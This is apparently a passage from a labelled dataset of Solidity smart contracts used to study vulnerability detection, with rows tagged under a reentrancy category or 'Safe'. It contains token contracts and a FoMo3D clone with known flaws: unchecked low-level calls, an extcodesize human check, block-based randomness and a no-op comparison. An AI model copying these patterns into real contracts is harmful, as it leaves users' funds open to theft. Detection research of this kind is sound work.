>= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract IssueSSSStandardToken is StandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'S0.1'; //IssueSSS 0.1 standard. Just an arbitrary versioning scheme. function IssueSSSStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } }",./Dataset/reentrancy (RE)/,5,5 0x001b6e5c7322899355eb65486e8cbb7dbbf19127_SDR22.sol,"pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract SDR22 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function SDR22 ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { initialSupply = 9000000000; totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = ""Self Drive Rental""; // Set the name for display purposes tokenName = ""Self Drive Rental""; // Set the name for display purposes tokenSymbol = ""SDR""; // Set the symbol for display purposes symbol = ""SDR""; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, SDR22 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) SDR22 (initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }",Safe,8,8 2598.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FoMo3Dshort is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xa6407c2C318F5594e1d711E48C62F593D7Ad73D6); address private admin = msg.sender; string constant public name = ""FOMO NOW""; string constant public symbol = ""FNW""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 1 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(32,0); fees_[1] = F3Ddatasets.TeamFee(45,0); fees_[2] = F3Ddatasets.TeamFee(62,0); fees_[3] = F3Ddatasets.TeamFee(47,0); potSplit_[0] = F3Ddatasets.PotSplit(47,0); potSplit_[1] = F3Ddatasets.PotSplit(47,0); potSplit_[2] = F3Ddatasets.PotSplit(62,0); potSplit_[3] = F3Ddatasets.PotSplit(62,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); 